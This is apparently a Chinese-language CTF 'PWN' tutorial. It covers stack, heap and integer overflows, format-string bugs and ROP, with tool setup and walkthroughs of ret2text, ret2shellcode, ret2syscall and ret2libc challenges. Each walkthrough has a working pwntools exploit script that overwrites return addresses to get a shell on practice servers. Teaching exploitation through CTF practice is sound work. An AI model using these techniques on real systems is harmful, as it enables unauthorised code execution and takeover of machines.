一、什么是PWN
PWN是一个黑客之间使用的词语,通常指攻破设备或系统。发音类似“砰”,对黑客而言,这象征着成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被操纵了。在网络安全语境中,PWN通常指的是通过不同的攻击手段如利用漏洞、进行社会工程学攻击等方法成功地获得了一个设备、系统或网络的未授权控制权。一旦攻击者“PWN了”一个系统,他们就可以执行各种恶意活动,如窃取数据、安装恶意软件或制造更广泛的破坏。
在CTF(Capture The Flag)等黑客竞赛中,PWN任务经常涉及在一个受限制的环境中寻找和利用漏洞来访问受保护的资源或系统。具体来说,PWN题目通常会提供一个用C或C++编写的程序,该程序运行在目标服务器上,参赛者需要通过网络与服务器进行交互,利用程序中的漏洞(如栈溢出、堆溢出、整数溢出、格式化字符串漏洞等)来造成内存破坏,进而获取远程计算机的shell,并最终获得flag。
二、常见PWN漏洞
栈溢出(Stack Overflow)
栈溢出是一种常见的安全漏洞,它利用了程序在执行过程中使用的栈内存空间有限的特性。栈是一种数据结构,用来存储函数的局部变量、函数的参数以及函数调用的返回地址等信息。栈的特点是先进后出,即最后进入栈的数据最先被访问到。当攻击者向程序输入过多的数据时,这些数据会超出栈内存所能容纳的范围,从而覆盖了栈中的其他数据,甚至覆盖了函数返回地址。一旦返回地址被篡改,程序就会跳转到攻击者指定的代码执行,从而实现任意代码执行的攻击。
堆溢出(Heap Overflow)
堆溢出是另一种内存溢出漏洞,但与栈溢出不同,它发生在程序的堆内存区域。堆是用来动态分配内存的区域,程序员可以请求分配任意大小的内存块,并在程序运行期间随时释放它们。堆溢出通常是由于程序在写入数据时超出了申请的内存块大小,导致数据覆盖了相邻的内存块。
整数溢出(Integer Overflow)
整数溢出发生在将一个较大的整数赋值给一个较小范围的整数变量时,导致数据超出该变量的存储范围并发生溢出。这种溢出可能导致数据被截断、覆盖或产生不正确的计算结果。攻击者可以利用整数溢出漏洞来绕过安全限制、绕过认证机制或执行其他恶意操作。
格式化字符串漏洞(Format String Vulnerability)
格式化字符串漏洞通常发生在C语言等编程语言中,当程序不正确地处理格式化字符串函数(如printf、sprintf等)的输入时。攻击者可以通过构造特制的格式化字符串来读取或写入任意内存地址的数据,甚至执行任意代码。
ROP(Return-oriented Programming)
ROP是一种利用程序中的现有代码片段(称为“gadgets”)来执行攻击者意图的技术。在启用了某些安全保护(如NX位、ASLR等)的环境中,传统的栈溢出攻击可能难以直接执行shellcode。ROP通过覆盖返回地址为程序中的某个gadget的地址,并利用一系列这样的gadgets来构建攻击载荷,最终实现攻击者的目标。
三、PWN环境搭建
1.安装pwntools模块
sudo apt-get install python3-pip
pip3 install pwntools
2.安装gdb工具和gef插件
sudo apt-get install gdb
sudo git clone https://github.com/hugsy/gef
cp gef/gef.py ~/.gdbinit-gef.py
echo source ~/.gdbinit-gef.py > ~/.gdbinit
3.安装qemu模拟器
sudo apt-get install qemu
sudo apt-get install qemu-system qemu-user qemu-user-static binfmt-support
4.安装依赖和模块
sudo apt-get install gcc-arm-linux-gnueabi
sudo apt install gcc-mipsel-linux-gnu
sudo apt install gcc-mips-linux-gnu
sudo apt-get install gdb-multiarch
pip3 install ropgadget
pip3 install ropper
四、PWN基础讲解
1. Linux内存布局
1.栈段(Stack):用于存放非静态的局部变量、函数调用过程的栈帧信息等,地址空间向下生长,由编译器自动分配和释放,栈大小在运行时由内核动态调整,栈动态增长后就不会再收缩。
2.内存映射段(Memory Mapping Segment):也称为文件映射区和匿名映射区,加载的动态库、打开的文件等均映射到该区域。
3.堆段(Heap):运行时可动态分配的内存段,向上生长,由用户进行申请和释放等管理操作。
4.BSS段(BSS segment):具有读写权限,用于存放初始值为0或未初始化的全局变量、静态变量,这块内存会由操作系统初始化为0。
5.数据段(Data segment):具有读写权限,用于存放初始值非0的全局变量、静态变量。
6.代码段(Text segment):具有只读权限,用于存放可执行程序、字符串、只读变量等。如定义的const变量、printf函数的格式化字符串等。
2. 经典栈溢出
2.1. 栈说明
栈是一种数据结构,遵循后进先出的原则(Last in First Out),主要有压栈(push)与出栈(pop)两种操作eax, ebx, ecx, edx, esi, edi, ebp, esp等都是X86 汇编语言中CPU上的通用寄存器的名称,是32位的寄存器。如果用C语言来解释,可以把这些寄存器当作变量看待。在栈中,esp保存栈帧的栈顶地址,ebp保存栈帧的栈底地址。程序的栈是从进程地址空间的高地址向低地址增长的。
2.2. 栈溢出原理
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。
栈溢出的前提是:程序向栈上写入数据,数据的长度不受控制。
最简单的栈溢出就是通过溢出,覆盖程序的返回地址,将返回地址覆盖为system("/bin/sh")的地址。
2.3. 简单栈溢出利用
通过CTFHUB平台技能树中的ret2text题进行栈溢出学习。
首先下载附件,使用checksec工具检查程序开启的保护:
该程序未开启保护,并且是amd的64位程序,拖入ida进行静态分析:
阅读代码发现程序调用了gets函数,gets本身是一个危险函数,它不会对字符串的长度进行校验,而是以回车判断输入是否结束,存在栈溢出漏洞,shift+f12发现程序中有可执行后门system("/bin/sh"):
那么溢出ret到执行system("/bin/sh")的地址即可,双击/bin/sh,ctrl+x追踪到/bin/sh的地址为0x04007B8:
查看v4,发现设定的v4长度为0x70,同时由于是64位系统,需要+8字节覆盖掉ebp(32位系统+4字节覆盖掉ebp):
接下来就可以编写exp,运行成功获取shell:
from pwn import *
p = remote("challenge-5ed622b3b63a7e82.sandbox.ctfhub.com",28525)
#/bin/sh的地址
shell_addr = 0x04007B8
#生成0x70+8个垃圾数据覆盖参数和ebp,然后把/bin/sh的地址写入返回地址
payload = b'a' * (0x70+8) + p64(shell_addr)
p.sendline(payload)
p.interactive()
总结栈溢出漏洞利用两个重要步骤:
1.寻找危险函数( gets、scanf、vscanf、sprintf、strcpy、strcat、bcopy等)
2.确定填充长度,计算要操作的地址与要覆盖的地址的距离
3. 常见ROP栈溢出利用
3.1. ret2shellcode
shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。利用方式是将shellcode写入程序,然后利用栈溢出将eip的返回地址覆盖为shellcode的地址,进而让程序执行shellcode。这就需要程序中存在一个位置能够让我们写入shellcode并执行(比如bss段)。
以NewStarCTF平台中的ret2shellcode题为例。
将附件拖入IDA,注意mmap
函数,它是向文件映射去申请一块内存,是动态库,共享内存等映射物理空间的内存:
通过pwndbg可以看到,映射的区域有可执行权限:
而且mmap指定了buf的起始地址为0x233000,因此可以利用第一个read向buff中写入shellcode,再通过第二个read进行栈溢出,将返回地址覆盖为0x233000,最后编写exp运行获取shell。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#用pwntools生成shellcode
shellcode = asm(shellcraft.sh())
p = remote('219.219.61.234',49544)
p.recvline()
#把shellcode写入buf
p.sendline(shellcode)
p.recvline()
#计算偏移,栈溢出到buf
payload = b'a' * (0x30+8) + p64(0x233000)
p.sendline(payload)
p.interactive()
3.2. ret2syscall
ret2syscall,即控制程序执行系统调用获取shell。
系统调用是指由操作系统提供的供所有系统调用的程序接口集合,用户程序通常只在用户态下运行,当用户程序想要调用只能在内核态运行的子程序时,操作系统需要提供访问这些内核态运行的程序的接口,这些接口的集合就叫做系统调用,简要的说,系统调用是内核向用户进程提供服务的唯一方法。
用户程序通过系统调用从用户态(user mode)切换到核心态(kernel mode ),从而可以访问相应的资源。要使用系统调用,需要通过汇编指令int 0x80
实现,用系统调用号来区分入口函数。
以CTFWIKI平台中的ret2syscall题为例。
首先检测程序开启的保护:
看到为32位,还开启了NX保护,拖入IDA查看源代码:
可以看到依然是gets函数的栈溢出,但是由于程序本身没有后门,并且无法自己写入shellcode来获得shell,这是就要用到系统调用。
简单地说,只要我们把对应获取shell的系统调用的参数放到对应的寄存器中,那么我们再执行int 0x80
就可执行对应的系统调用。这里可以用execve("/bin/sh",NULL,NULL)
这个系统调用来获取shell,其中execve对应的系统调用号为0xb。
由于程序是32位的,按照execve("/bin/sh",NULL,NULL)
,令eax为execve的系统调用号0xb,第一个参数ebx指向/bin/sh,ecx和edx为0。
而我们如何控制这些寄存器的值呢?这里就需要使用gadgets。比如说,现在栈顶是10,那么如果此时执行了pop eax,那么现在eax的值就为10。但是我们并不能期待有一段连续的代码可以理想控制对应的寄存器,所以我们需要一段一段控制,这里需要用到ROPgadget工具寻找gadget。
先找到控制eax的gadget,这几个都可以控制eax,这里使用第二个。再找控制ebx的gadget:
以上都可以使用,由于0x0806eb68可以控制三个寄存器,所以选用这个地址。然后找到/bin/sh的地址:
以及int 0x80的地址:
最后编写exp脚本,运行获取shell。
from pwn import *
p = process('./rop')
pop_eax_ret = 0x080bb196
pop_ebx_ecx_edx_ret = 0x0806eb90
sh = 0x080be408
int_0x80 = 0x08049421
payload = b'a' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx_ecx_edx_ret) + p32(0) + p32(0) + p32(sh) + p32(int_0x80)
p.sendline(payload)
p.interactive()
3.3. ret2libc
ret2libc即控制函数执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。一般情况下,我们会选择执行system("/bin/sh"),故而此时我们需要知道system函数的地址。
以NewStarCTF平台的ret2libc题进行学习。
首先下载附件,得到一个程序以及程序用到的libc,将程序拖入IDA分析:
很明显fgets处存在栈溢出,但通过寻找,没有发现可利用的函数:
根据动态链接和延迟绑定技术,运用任意地址读写技术对某个函数的GOT表进行改写,使其指向想要执行的危险函数(如system
,execve
函数)
操作系统通常使用动态链接的方法来提高程序运行的效率。那么在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,也就是控制执行libc(对应版本)中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。一般情况下,我们会选择执行system("/bin/sh")或者execve("/bin/sh",NULL,NULL),故而此时我们需要知道system函数的地址。
所以首先要做的是通过栈溢出,泄露出puts真实的地址,然后计算真实地址与libc中puts地址的偏移,进而计算出system与/bin/sh的地址,同时还要获取rdi、ret与main函数的地址。
可以使用pwndbg工具寻找main函数的起始地址:
最后构造exp脚本,运行获取shell。
from pwn import *
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
#p = process('./pwn')
p = remote('node4.buuoj.cn',25948)
#puts的plt表与got表地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#libc中puts、system、/bin/sh的地址
libc_puts = libc.symbols['puts']
libc_system = libc.symbols['system']
libc_sh = libc.search(b'/bin/sh').__next__()
pop_ret_rdi = 0x400753
main = 0x400698
ret = 0x40050e
p.recvuntil(b'time?\n')
#64位的payload构成:栈溢出+pop rdi地址+泄露函数的got表地址+泄露函数的plt地址+ret指令(这里ret回main函数是为了跳回程序开头重新执行程序)
payload = b'a' * (0x20+8) + p64(pop_ret_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)
#直到7f出现的位置作为终点,开始往前读6个字节数据,然后再8字节对齐,不足8位补\x00
#\x7f是64位程序函数地址的默认开头,-6就是从倒数第6个字节开始取,在内存中是倒着放的
#32位u32(r.recv()[0:4])
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) #puts函数的真实地址
#偏移
base = puts_addr - libc_puts
#真实的system和/bin/sh地址
system_addr = base + libc_system
sh_addr = base + libc_sh
payload = b'a' * (0x20+8) + p64(ret) + p64(pop_ret_rdi) + p64(sh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()